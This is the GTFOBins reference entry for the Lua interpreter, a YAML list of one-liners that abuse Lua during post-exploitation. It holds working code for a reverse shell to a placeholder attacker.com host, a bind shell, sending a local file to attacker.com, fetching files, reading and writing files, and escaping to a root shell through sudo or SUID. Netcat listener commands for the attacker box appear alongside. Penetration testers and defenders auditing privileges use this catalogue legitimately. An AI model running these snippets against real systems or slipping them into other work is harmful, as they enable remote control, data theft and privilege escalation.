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GTFOBins.github.io/_gtfobins/lua.md
2021-01-12 13:50:43 +02:00

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---
functions:
shell:
- code: lua -e 'os.execute("/bin/sh")'
non-interactive-reverse-shell:
- description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed.
code: |
export RHOST=attacker.com
export RPORT=12345
lua -e 'local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
while true do
local r,x=t:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));t:send(b);
end;
f:close();t:close();'
non-interactive-bind-shell:
- description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed.
code: |
export LPORT=12345
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
while true do
local r,x=c:receive();local f=assert(io.popen(r,"r"));
local b=assert(f:read("*a"));c:send(b);
end;c:close();f:close();'
file-upload:
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
lua -e '
local f=io.open(os.getenv("LFILE"), 'rb')
local d=f:read("*a")
io.close(f);
local s=require("socket");
local t=assert(s.tcp());
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
t:send(d);
t:close();'
file-download:
- description: Fetch a remote file via TCP. Run `nc target.com 12345
< "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed.
code: |
export LPORT=12345
export LFILE=file_to_save
lua -e 'local k=require("socket");
local s=assert(k.bind("*",os.getenv("LPORT")));
local c=s:accept();
local d,x=c:receive("*a");
c:close();
local f=io.open(os.getenv("LFILE"), "wb");
f:write(d);
io.close(f);'
file-write:
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
file-read:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
suid:
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
sudo:
- code: sudo lua -e 'os.execute("/bin/sh")'
limited-suid:
- code: ./lua -e 'os.execute("/bin/sh")'
---